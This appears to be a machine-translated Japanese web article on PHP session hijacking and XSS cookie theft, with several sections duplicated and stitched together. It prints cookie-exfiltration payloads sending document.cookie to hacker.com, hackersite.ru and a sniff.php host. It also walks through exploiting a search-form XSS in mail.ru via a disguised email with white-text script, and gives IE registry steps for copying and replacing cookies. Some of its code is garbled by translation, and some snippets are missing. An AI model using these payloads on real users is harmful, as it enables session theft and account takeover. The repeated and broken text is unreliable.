セッションの盗難。 PHP での安全なプログラミング。 セッション盗難 Cookie 盗難

ニュース 09.12.2020
ニュース
  • ユーザーはログインとパスワードを求められます。
  • 認証が成功すると、「認証成功」という値で新しいセッションが作成されます。
  • ユーザーには一意の識別子 (SID) が割り当てられますが、これは事前に予測できないため、選択することはできません :)。
  • SID はブラウザの Cookie に書き込まれるか、ブラウザのアドレス バーを介して送信されます (Cookie が無効になっている場合)。
  • 承認が成功すると、スクリプトはスーパーグローバル配列 $_SESSION の変数の値にアクセスできるようになり、その存在に基づいて、スクリプトが何らかのリソース (サイト管理パネルへのアクセスなど) へのアクセスを提供します。

    問題は、攻撃者が何らかの方法で別のユーザーの SID を見つけた場合、それを自分の Cookie またはブラウザのアドレス バーに置き換えて、このユーザーの権限でサイトに侵入できることです。

    コメント

    数年前、リモート銀行口座管理システムが、最後に使用された値に 1 を加算するだけで固有の番号 (SID) を生成するというスキャンダルがいくつかありました。 迅速な認証により、2 つの SID 値 (例: 40346 と 40348) が発行されました。番号 40347 を置き​​換えると、他の人のアカウントへのアクセスが許可されました :)。

    現在、SID はメーターに関連付けられていない固有の一連の数字と文字を表します。 しかし、攻撃者はどうやって他人の SID を知るのでしょうか?

    最も一般的なオプションは 2 つあります。

    1. たとえば、セッションの所有者自身がそれを示し、フォーラムやゲストブックのどこかにこのタイプのリンクを不用意に残しました。

    http://forum.dklab.ru/?sid=

    このアドレスにアクセスすると、その識別子を持つセッションが割り当てられているユーザーの権限が攻撃者に自動的に与えられます。
    もちろん、しばらくしてもアクティビティがない場合、ユーザー セッションは破棄されます。 したがって、攻撃者は急いでいる必要があります:)。 一方、スパイダーが蔓延しているため、そのようなリンクを対象とした自動検索を組織することが可能になります。

    2. セッションがブラウザ行で明示的に指定されていない場合でも、Cookie に保存されています。 攻撃者が識別子を入手する機会はまだあります。 シンプルなゲストブック用の小さなスクリプトを見てみましょう。



    文章:


    addmsg.php ハンドラーの内容を以下に示します。

    このスクリプトでは、文字を変換する htmlspecialchars() 関数の呼び出しが明らかに抜け落ちていることに注意してください。< в < и >c > その結果、攻撃者はテキストに任意の HTML タグと JavaScript スクリプトを挿入することができます。

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    それで何が得られるでしょうか? 小さな見落とし (メッセージをブラウザに表示する前に htmlspecialchars() をいくつか見逃しただけのようです) により、攻撃者のページが新しいウィンドウに読み込まれ、Cookie からの値が渡される可能性があります。
    この種の脆弱性に対処するには、「許可されていないものはすべて禁止する」という原則に基づいて、「持続可能な」方法で対処することが最善です。 SID を非表示にしたり、テキストに多段階チェックを適用したりしないでください。この場合、エラーが発生する可能性が高まるだけです。 この場合、SID をセッションを所有するユーザーの IP アドレスにバインドする方法がより信頼性があります。 この方法は、phpBB などの多くの有名なフォーラムで広く使用されています。
    認可スクリプト

    この場合、特定のリソースへのアクセスを提供するスクリプトには次のコードが含まれる可能性があります。

    それらの。 これで、認証中にサーバーに転送された IP アドレスと一致する IP アドレスを持つユーザーのみがこのセッションで作業できるようになります。 攻撃者がセッションを傍受した場合、攻撃者は別の IP アドレスを持っていることになります :) - したがって、アクセスは拒否されます。

    この方法は万能ではなく、弱点もあります。

  • ユーザーと攻撃者が共通のプロキシ サーバーを介してインターネットにアクセスすると、1 つの共通 IP アドレスを持つことになります (これは大学、工場、その他の大規模機関のネットワークでは一般的です)。 少なくとも上記の方法を使用すれば、誰でも近隣の SID を盗むことができます。
  • その中で、情報セキュリティ問題に特化した無料イベントに参加することが提案されました。 私の住んでいる街で開催されたので、絶対に行かなければと思いました。 最初のレッスンでは、XSS などの Web サイトの脆弱性について学びました。 レッスン後、私は得た知識を実際の状況で定着させる必要があると決心しました。 私は自分の街に関連するサイトをいくつか選択し、すべてのフォームにスクリプトを挿入しようと試み始めました。 ほとんどの場合、スクリプトはフィルタリングされて除外されました。 しかし、たまたま「アラート」が作動し、私のメッセージが表示されました。 見つかった脆弱性を管理者に報告したところ、すぐにすべて修正されました。

    ある日、mail.ru で最新のメールをチェックしていると、メールボックス内の手紙を検索するためのフォームが目に留まりました。 時々、この検索を使用して、古い手紙の山から必要なものを見つけました。 さて、ここ数日間、私はほぼすべての場所に「アラート」を挿入したため、反射的にこの検索フォームに手が伸びました。 スクリプトのコードを入力して Enter キーを押しました。 痛々しいほど見覚えのあるメッセージを画面に見たときの私の驚きを想像してみてください...


    Open InfoSec Days の講演で、講演者は、プログラマーはこの種の脆弱性について非常に懐疑的であり、「警戒してください?」と述べました。 さて、それで何ですか? これは危険ではありません。」 他のサイトでは、このウィンドウにメッセージが表示されるだけで満足していましたが、この場合はさらに進んで、そのような「アラート」から何が得られるかを示すことにしました。

    したがって、スクリプトは機能しますが、これは脆弱性があることを意味します。 したがって、他のスクリプトを実行してみることができます。 たとえば、別のユーザーの Cookie を当社に送信するスクリプトなどです。 スクリプトが機能するには、ユーザーにスクリプトを強制的に実行させる必要があります。 これは、適切なリンクを記載した手紙を彼に送信することで実行できます。リンクをクリックすると、メールボックスが検索され、必要なコードが実行されます。

    この脆弱性のメカニズムを理解するには、ある程度の時間と多くの実験が必要でした。 スクリプトが機能する場合もあれば、フィルターで除外される場合もありました。 いくつかの努力の結果、文字の検索で肯定的な結果が得られた場合にのみスクリプトが 100% 機能することが経験的に判明しました。 つまり、ユーザーがスクリプトで検索を実行する場合、指定されたパラメーターに従ってメールボックス内の少なくとも 1 つの文字が見つかる必要があります。 これを手配するのは難しくありません。

    また、「アラート」の代わりに、Cookie をスニファーに転送するスクリプトも必要です。 このスクリプトを別のファイルに記述し、検索にロードします。 必要なコードを含む test.js ファイルを作成し、ホスティングにアップロードしました。 スクリプトコードは次のようになります。

    Img=新しい画像();
    img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
    関数 F() (
    location="http://www.solife.ru";
    }
    setTimeout(F, 5000);

    ここで明らかにしたいこと。 攻撃者の立場になってみましょう。 ユーザーがリンクをクリックする必要があります。 どうすれば彼にこれを強制できますか? 山ほどの金を約束できます。金を受け取るには、サイトへのリンクをたどる必要があります。 しかし、うまくいかないと思います。 もう人々はこれに騙されません(私自身、そのような手紙は読まずに削除してしまいます)。 したがって、人間の哀れみは自然界にまだ存在しているため、私たちはそれを利用します。 絶滅危惧種の動物を救うためにこのサイトへの投票をお願いします。 まず Cookie を取得し、次にユーザーを投票サイトにリダイレクトします。 リダイレクトのタイムアウトは 5 秒に設定されていました。そうでない場合、Cookie がスニファーに転送される時間がなかったため、ユーザーはすぐに動物に関するサイトにリダイレクトされました。 「アラート」の代わりに、次のスクリプトを使用しました。

    台本を書き終えた後、私は手紙を書き始めました。 私は次のようなことを思いつきました:


    かなり皮肉な結果になりましたが、条件をできるだけ現実に近づけようと努めました。 手紙の最後にはスクリプトが書かれた行があります。これは、検索したときに私たちの手紙が見つかるようにするためです。 余計な疑問が生じないように、線を白く塗りました。 また、文字列が認識されてリンクに変換されないように、「http」という単語にスペースを入れました。 そうしないと、スクリプト行が白いフォントで書かれているにもかかわらず、受信者によってリンクが青で強調表示されるため、これは必要ありません。 スマート検索は、スペースが含まれていても、この文字列を検索して認識します。

    E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

    何も除外されないように、スクリプトには URL エンコードを使用しました。 また、検索用に「q_folder=0」パラメータを追加し、「Inbox」フォルダ内で検索が行われるようにしました。

    手紙の準備ができましたので送ります。 私は受信者として同じサービス上の 2 番目のメールボックスを使用しました。 もう一方の箱には何が入っているか見てみましょう。

    スクリプト テキストは背景に溶け込んでいるため、表示されません。 リンクをクリックして何が起こるか見てみましょう。 ユーザーは、指定したパラメータに基づいて電子メールの検索結果に移動します。 私たちが送った手紙が検索結果に表示されます。 この時点で、スクリプトはすでに動作しており、ユーザーの Cookie をスニファーに送信しています。 5 秒後 (時間はスクリプト設定によって異なります)、ユーザーは投票サイトにリダイレクトされます。

    sniff.txt ファイルを確認します。

    私の目的は他人のボックスを盗んだり、アクセスしたりすることではないので、この話はここで終わりにします。 しかし理論的には、自分の Cookie を他人の Cookie に置き換えて、他人のメールボックスにアクセスできるようになります。 一般に、攻撃者がターゲットに興味がある場合、受け取った情報の用途を見つけます。

    セルゲイ・ベロフに感謝したいと思います(

  • ユーザーはログインとパスワードを求められます。
  • 認証が成功すると、「認証成功」という値で新しいセッションが作成されます。
  • ユーザーには一意の識別子 (SID) が割り当てられますが、これは事前に予測できないため、選択することはできません :)。
  • SID はブラウザの Cookie に書き込まれるか、ブラウザのアドレス バーを介して送信されます (Cookie が無効になっている場合)。
  • 承認が成功すると、スクリプトはスーパーグローバル配列 $_SESSION の変数の値にアクセスできるようになり、その存在に基づいて、スクリプトが何らかのリソース (サイト管理パネルへのアクセスなど) へのアクセスを提供します。

    問題は、攻撃者が何らかの方法で別のユーザーの SID を見つけた場合、それを自分の Cookie またはブラウザのアドレス バーに置き換えて、このユーザーの権限でサイトに侵入できることです。

    コメント

    数年前、リモート銀行口座管理システムが、最後に使用された値に 1 を加算するだけで固有の番号 (SID) を生成するというスキャンダルがいくつかありました。 迅速な認証により、2 つの SID 値 (例: 40346 と 40348) が発行されました。番号 40347 を置き​​換えると、他の人のアカウントへのアクセスが許可されました :)。

    現在、SID はメーターに関連付けられていない固有の一連の数字と文字を表します。 しかし、攻撃者はどうやって他人の SID を知るのでしょうか?

    最も一般的なオプションは 2 つあります。

    1. たとえば、セッションの所有者自身がそれを示し、フォーラムやゲストブックのどこかにこのタイプのリンクを不用意に残しました。

    http://forum.dklab.ru/?sid=

    このアドレスにアクセスすると、その識別子を持つセッションが割り当てられているユーザーの権限が攻撃者に自動的に与えられます。
    もちろん、しばらくしてもアクティビティがない場合、ユーザー セッションは破棄されます。 したがって、攻撃者は急いでいる必要があります:)。 一方、スパイダーが蔓延しているため、そのようなリンクを対象とした自動検索を組織することが可能になります。

    2. セッションがブラウザ行で明示的に指定されていない場合でも、Cookie に保存されています。 攻撃者が識別子を入手する機会はまだあります。 シンプルなゲストブック用の小さなスクリプトを見てみましょう。



    文章:


    addmsg.php ハンドラーの内容を以下に示します。

    このスクリプトでは、文字を > に変換する htmlspecialchars() 関数の呼び出しが明らかに省略されており、その結果、攻撃者がテキストに HTML タグや JavaScript スクリプトを挿入できる可能性があることに注意してください。

    window.open("http://hacker.com/get.php?"+document.cookie, "new")

    それで何が得られるでしょうか? 小さな見落とし (メッセージをブラウザに表示する前に htmlspecialchars() をいくつか見逃しただけのようです) により、攻撃者のページが新しいウィンドウに読み込まれ、Cookie からの値が渡される可能性があります。
    この種の脆弱性に対処するには、「許可されていないものはすべて禁止する」という原則に基づいて、「持続可能な」方法で対処することが最善です。 SID を非表示にしたり、テキストに多段階チェックを適用したりしないでください。この場合、エラーが発生する可能性が高まるだけです。 この場合、SID をセッションを所有するユーザーの IP アドレスにバインドする方法がより信頼性があります。 この方法は、phpBB などの多くの有名なフォーラムで広く使用されています。
    認可スクリプト

    この場合、特定のリソースへのアクセスを提供するスクリプトには次のコードが含まれる可能性があります。

    それらの。 これで、認証中にサーバーに転送された IP アドレスと一致する IP アドレスを持つユーザーのみがこのセッションで作業できるようになります。 攻撃者がセッションを傍受した場合、攻撃者は別の IP アドレスを持っていることになります :) - したがって、アクセスは拒否されます。

    この方法は万能ではなく、弱点もあります。

  • ユーザーと攻撃者が共通のプロキシ サーバーを介してインターネットにアクセスすると、1 つの共通 IP アドレスを持つことになります (これは大学、工場、その他の大規模機関のネットワークでは一般的です)。 少なくとも上記の方法を使用すれば、誰でも近隣の SID を盗むことができます。
  • ユーザーがモデムを使用していて接続が失われた場合、接続が復元された後、別の IP アドレスが割り当てられる可能性が高くなります。 自分が無差別に攻撃者の仲間入りをした場合、ユーザーは不快に驚くかもしれません(したがって、セキュリティシステムに脅威を書いたり良心に訴えたりする価値はありません。そのようなシステムにはエラーもあります)。 最後の欠点はフォーラムで発生します。フォーラムでは、訪問者は長い回答を入力するときにインターネットをオフにしてオフラインで作業する習慣があります。 「返信」ボタンをクリックすると、攻撃者が入力したテキストを保存することを誰も気にしないため、入力した情報はすべて失われます:)))。
  • 終了: (または半分終了) IP アドレスの最初の 3 桁のみを確認して ID を確認します。SID の盗難は統計的にはまだ起こりそうにありませんが、プロバイダーは通常、切断に対してより寛大なアプローチを取ることができます。最後の桁のみが変更される、解読不可能な範囲の IP アドレスが割り当てられます。

    クッキーとは何ですか?

    http サーバーがユーザーのコンピュータにテキスト情報を保存し、それにアクセスできるようにするメカニズムがあります。 この情報はクッキーと呼ばれます。 基本的に、各 Cookie はパラメータの名前とその値のペアです。 各 Cookie には、それが属するドメインも割り当てられます。 セキュリティ上の理由から、すべてのブラウザで http サーバーはそのドメインの Cookie へのアクセスのみを許可されています。 さらに、Cookie には有効期限がある場合があり、その場合、すべてのブラウザ ウィンドウを閉じた場合でも、Cookie はこの日付までコンピュータに保存されます。


    Cookie が重要な理由は何ですか?

    すべてのマルチユーザー システムは、ユーザーを識別するために Cookie を使用します。 より正確には、ユーザーのサービスへの現在の接続、つまりユーザー セッションです。 誰かがあなたの Cookie を認識すると、あなたの代わりにシステムにログインできるようになります。 現時点では、1 つのユーザー セッション中に IP アドレスの変更をチェックするインターネット リソースはほとんどないためです。


    Cookieを変更または置き換えるにはどうすればよいですか?

    ブラウザ開発者は、Cookie を編集するための組み込みツールを提供していません。 ただし、通常のメモ帳でも十分です。


    ステップ 1: テキストを含むテキスト ファイルを作成する

    Windows レジストリ エディタ バージョン 5.00



    @="C:\\IE_ext.htm"

    IE_ext.reg という名前で保存します。

    ステップ 2: 作成したファイルを使用して、Windows レジストリに変更を追加します。

    ステップ 3: テキストを含むテキスト ファイルを作成する

    < script language ="javascript">
    external.menuArguments.clipboardData.setData("Text" , external.menuArguments.document.cookie);

    external.menuArguments.document.cookie= "テスト名=テスト値; パス=/; ドメイン=テストドメイン.ru" ;
    アラート(external.menuArguments.document.cookie);


    C:\IE_ext.htm という名前で保存します。

    ステップ 4: 興味のある Web サイトにアクセスします。

    ステップ 5: ページ上の空いているスペースを右クリックし、メニュー項目を選択します 「クッキーを使った作業」。 クリップボードへのアクセスを許可します。 このサイトの Cookie はクリップボードに保存されます。 メモ帳を挿入して見てみることができます。


    ステップ 6: 一部の Cookie を変更するには、ファイル C:\IE_ext.htm を編集して、次のように置き換えます。 テスト名クッキーの名のもとに、 テスト値- その意味については、 テストドメイン.ru– サイトドメインへ。 必要に応じて、同様の行をさらに追加します。 制御を容易にするために、変更前後の現在の Cookie の出力をスクリプトに追加しました。 アラート(external.menuArguments.document.cookie);

    ステップ 7: ステップ 5 を再度実行し、ページを更新します。

    結論: 更新された Cookie を使用してこのインターネット リソースにアクセスします。

    JavaScript を使用して Cookie を盗むにはどうすればよいですか?

    攻撃者が被害者のコンピュータ上で任意の JavaScript スクリプトを実行する機会を見つけることができた場合、現在の Cookie を非常に簡単に読み取ることができます。 例:


    var str= ドキュメント.クッキー;

    しかし、前に示したように、JavaScript スクリプトは追加の確認がなければ別のドメインにあるサイトにアクセスできないため、それらを自分のサイトに転送できるでしょうか? JavaScript スクリプトは、任意の http サーバーにある任意の画像を読み込むことができることがわかりました。 同時に、ダウンロード要求内のテキスト情報をこの画像に転送します。 例: http://hackersite.ru/xss.jpg?text_infoしたがって、このコードを実行すると:

    var img=新しい画像();

    img.src="http://hackersite.ru/xss.jpg?" + encodeURI(document.cookie);


    その後、Cookie は最終的に「画像」をダウンロードするリクエストに含まれ、攻撃者のところに「送信」されます。

    このような「画像」のダウンロード要求にどのように対処すればよいでしょうか?

    攻撃者は、PHP をサポートするホスティングを見つけて、そこに次のようなコードを配置するだけで済みます。


    その後、このスクリプトのすべてのリクエスト パラメーターがファイルに保存されます。 ログ.txt。 残っているのは、前に説明した JavaScript スクリプトを置き換えることだけです http://hackersite.ru/xss.jpgこのPHPスクリプトへのパスに。


    結論

    XSS の脆弱性を悪用する最も簡単な方法のみを紹介しました。 しかし、これは、マルチユーザーのインターネット サイトにそのような脆弱性が少なくとも 1 つ存在すると、攻撃者がユーザーに代わってそのリソースを使用できる可能性があることを証明しています。



    読むことをお勧めします